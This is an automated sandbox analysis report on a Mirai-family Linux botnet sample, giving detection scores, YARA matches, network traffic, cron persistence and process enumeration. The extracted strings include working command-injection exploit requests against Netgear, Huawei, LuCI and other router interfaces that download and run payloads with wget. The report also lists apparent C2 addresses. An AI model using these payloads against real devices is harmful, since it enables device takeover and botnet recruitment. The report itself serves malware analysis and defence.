Joe Sandbox Cloud Basic Analysis Report
Edit tour

Linux Analysis Report
LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf

Overview

General Information

Sample name:LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf
Analysis ID:1547945
MD5:5141342d0df8699fa32a6b066a0c592e
SHA1:8157673225bd5182f16215e2aa823a25ca2d4fbc
SHA256:54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
Tags:elfuser-abuse_ch
Infos:

Detection

Mirai
Score:96
Range:0 - 100
Whitelisted:false

Signatures

Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Yara detected Mirai
Contains symbols with names commonly found in malware
Executes the "crontab" command typically for achieving persistence
Machine Learning detection for sample
Sample tries to persist itself using cron
Enumerates processes within the "proc" file system
Executes commands using a shell command-line interpreter
HTTP GET or POST without a user agent
Reads the 'hosts' file potentially containing internal network hosts
Sample and/or dropped files contains symbols with suspicious names
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample contains strings that are potentially command strings
Yara signature match

Classification

RansomwareSpreadingPhishingBankerTrojan / BotAdwareSpywareExploiterEvaderMinercleansuspiciousmalicious

General Information

Joe Sandbox version:41.0.0 Charoite
Analysis ID:1547945
Start date and time:2024-11-03 13:53:53 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 25s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf
Detection:MAL
Classification:mal96.troj.linELF@0/1@1/0
  • VT rate limit hit for: LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf

Runtime Messages

Command:/tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf
PID:5431
Exit Code:0
Exit Code Info:
Killed:False
Standard Output:

Standard Error:no crontab for root

Process Tree

  • system is lnxubuntu20
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

SourceRuleDescriptionAuthorStrings
LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elfJoeSecurity_Mirai_4Yara detected MiraiJoe Security
    LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elfJoeSecurity_Mirai_6Yara detected MiraiJoe Security
      LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elfJoeSecurity_Mirai_8Yara detected MiraiJoe Security
        LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elfLinux_Trojan_Gafgyt_5bf62ce4unknownunknown
        • 0xafe1:$a: 89 E5 56 53 31 F6 8D 45 10 83 EC 10 89 45 F4 8B 55 F4 46 8D
        LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elfLinux_Trojan_Mirai_389ee3e9unknownunknown
        • 0xacb4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
        Click to see the 1 entries

        Suricata Signatures

        ⊘No Suricata rule has matched

        Joe Sandbox Signatures

        • • AV Detection
        • • Networking
        • • System Summary
        • • Persistence and Installation Behavior
        • • Stealing of Sensitive Information
        • • Remote Access Functionality

        Click to jump to signature section

        Show All Signature Results

        AV Detection

        barindex
        Source: LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elfReversingLabs: Detection: 52%
        Source: LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elfJoe Sandbox ML: detected
        Source: global trafficHTTP traffic detected: GET /.shell HTTP/1.1Host: 87.120.84.230Connection: close
        Source: global trafficHTTP traffic detected: GET /.shell HTTP/1.1Host: 216.126.231.240Connection: close
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5437)Reads hosts file: /etc/hostsJump to behavior
        Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
        Source: global trafficHTTP traffic detected: GET /.shell HTTP/1.1Host: 87.120.84.230Connection: close
        Source: global trafficHTTP traffic detected: GET /.shell HTTP/1.1Host: 216.126.231.240Connection: close
        Source: global trafficDNS traffic detected: DNS query: conn.masjesu.zip
        Source: LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elfString found in binary or memory: http://purenetworks.com/HNAP1/
        Source: LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
        Source: LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 36022
        Source: unknownNetwork traffic detected: HTTP traffic on port 36022 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 60216
        Source: unknownNetwork traffic detected: HTTP traffic on port 60216 -> 443

        System Summary

        barindex
        Source: LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf, type: SAMPLEMatched rule: Linux_Trojan_Gafgyt_5bf62ce4 Author: unknown
        Source: LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf, type: SAMPLEMatched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
        Source: LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf, type: SAMPLEMatched rule: Linux_Trojan_Tsunami_0fa3a6e9 Author: unknown
        Source: ELF static info symbol of initial sampleName: ATTACKRUNNING
        Source: ELF static info symbol of initial sampleName: LastAttackTime
        Source: LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elfELF static info symbol of initial sample: scanner10_pid
        Source: LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elfELF static info symbol of initial sample: scanner11_pid
        Source: LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elfELF static info symbol of initial sample: scanner12_pid
        Source: LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elfELF static info symbol of initial sample: scanner13_pid
        Source: LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elfELF static info symbol of initial sample: scanner14_pid
        Source: LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elfELF static info symbol of initial sample: scanner2_pid
        Source: LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elfELF static info symbol of initial sample: scanner3_pid
        Source: LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elfELF static info symbol of initial sample: scanner4_pid
        Source: LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elfELF static info symbol of initial sample: scanner5_pid
        Source: LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elfELF static info symbol of initial sample: scanner6_pid
        Source: LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elfELF static info symbol of initial sample: scanner7_pid
        Source: LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elfELF static info symbol of initial sample: scanner8_pid
        Source: LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elfELF static info symbol of initial sample: scanner9_pid
        Source: Initial sampleString containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g %s -l /tmp/huawei -r /spim;chmod -x huawei;/tmp/huawei huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
        Source: Initial sampleString containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g %s -l /tmp/huawei -r /spim;chmod -x huawei;/tmp/huawei huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /UD/act?1 HTTP/1.1
        Source: Initial samplePotential command found: GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://%s/spim+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
        Source: Initial samplePotential command found: GET /language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http://%s/l7vmra;sh${IFS}/tmp/l7vmra&>r&&tar${IFS}/string.js HTTP/1.0
        Source: Initial samplePotential command found: GET /shell?cd+/tmp;rm+-rf+*;wget+http://%s/l7vmra;chmod+777+l7vmra;/tmp/l7vmra HTTP/1.1
        Source: Initial samplePotential command found: GET /cgi-bin/;cd${IFS}/var/tmp;rm${IFS}-rf${IFS}*;${IFS}wget${IFS}http://%s/spim;${IFS}sh${IFS}/var/tmp/spim
        Source: Initial samplePotential command found: GET /board.cgi?cmd=cd+/tmp;rm+-rf+*;wget+http://%s/l7vmra;chmod+777+l7vmra;/tmp/l7vmra
        Source: Initial samplePotential command found: GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(rm%20-rf%20%2A%3B%20cd%20%2Ftmp%3B%20wget%20http%3A%2F%2F%s%2Fbins.sh%3B%20chmod%20777%20bins.sh%3B%20.%2Fbins.sh) HTTP/1.1
        Source: Initial samplePotential command found: GET /.shell HTTP/1.1
        Source: Initial samplePotential command found: GET /cgi-bin/;cd${IFS}/var/tmp;rm${IFS}-rf${IFS}*;${IFS}wget${IFS}http://%s/spim;${IFS}sh${IFS}/var/tmp/spimGET /board.cgi?cmd=cd+/tmp;rm+-rf+*;wget+http://%s/l7vmra;chmod+777+l7vmra;/tmp/l7vmraGET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(rm%20-rf%20%2A%3B%20cd%20%2Ftmp%3B%20wget%20http%3A%2F%2F%s%2Fbins.sh%3B%20chmod%20777%20bins.sh%3B%20.%2Fbins.sh) HTTP/1.1
        Source: LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf, type: SAMPLEMatched rule: Linux_Trojan_Gafgyt_5bf62ce4 reference_sample = 4c6aeaa6f6a0c40a3f4116a2e19e669188a8b1678a8930350889da1bab531c68, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 3ffc398303f7208e77c4fbdfb50ac896e531b7cee3be2fa820bc8d70cfb20af3, id = 5bf62ce4-619b-4d46-b221-c5bf552474bb, last_modified = 2021-09-16
        Source: LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf, type: SAMPLEMatched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
        Source: LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf, type: SAMPLEMatched rule: Linux_Trojan_Tsunami_0fa3a6e9 reference_sample = 40a15a186373a062bfb476b37a73c61e1ba84e5fa57282a7f9ec0481860f372a, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Tsunami, fingerprint = fed796c5275e2e91c75dcdbf73d0c0ab37591115989312c6f6c5adcd138bc91f, id = 0fa3a6e9-89f3-4bc8-8dc1-e9ccbeeb836d, last_modified = 2021-09-16
        Source: classification engineClassification label: mal96.troj.linELF@0/1@1/0
        Source: LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elfELF static info symbol of initial sample: libc/sysdeps/linux/i386/crt1.S
        Source: LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elfELF static info symbol of initial sample: libc/sysdeps/linux/i386/crti.S
        Source: LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elfELF static info symbol of initial sample: libc/sysdeps/linux/i386/crtn.S
        Source: LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elfELF static info symbol of initial sample: libc/sysdeps/linux/i386/mmap.S
        Source: LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elfELF static info symbol of initial sample: libc/sysdeps/linux/i386/vfork.S

        Persistence and Installation Behavior

        barindex
        Source: /bin/sh (PID: 5434)Crontab executable: /usr/bin/crontab -> crontab -lJump to behavior
        Source: /bin/sh (PID: 5436)Crontab executable: /usr/bin/crontab -> crontab -Jump to behavior
        Source: /usr/bin/crontab (PID: 5436)File: /var/spool/cron/crontabs/tmp.QeIS8dJump to behavior
        Source: /usr/bin/crontab (PID: 5436)File: /var/spool/cron/crontabs/rootJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/5380/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/230/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/110/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/231/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/111/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/232/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/112/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/233/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/113/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/234/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/114/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/235/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/115/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/236/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/116/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/237/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/117/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/238/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/118/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/239/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/119/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/914/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/10/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/917/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/11/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/12/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/13/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/14/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/5275/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/15/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/16/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/17/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/18/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/19/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/240/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/3095/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/120/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/241/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/121/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/242/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/1/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/122/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/243/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/2/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/123/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/244/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/3/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/124/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/245/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/1588/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/125/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/4/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/246/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/126/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/5/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/247/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/127/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/6/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/248/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/128/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/7/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/249/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/129/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/8/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/800/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/9/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/1906/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/802/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/803/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/20/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/21/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/22/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/23/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/24/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/25/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/26/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/27/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/28/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/29/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/3420/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/1482/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/490/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/1480/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/250/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/371/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/130/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/251/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/131/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/252/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/132/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/253/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/254/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/1238/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/134/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/255/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/256/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/257/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/378/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/3413/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/258/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/259/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/1475/cmdlineJump to behavior
        Source: /tmp/LkUJU0rsxdoNTRjxlZ5e0rZRO3rOY4rKRo.elf (PID: 5438)File opened: /proc/3775/cmdlineJump to behavior
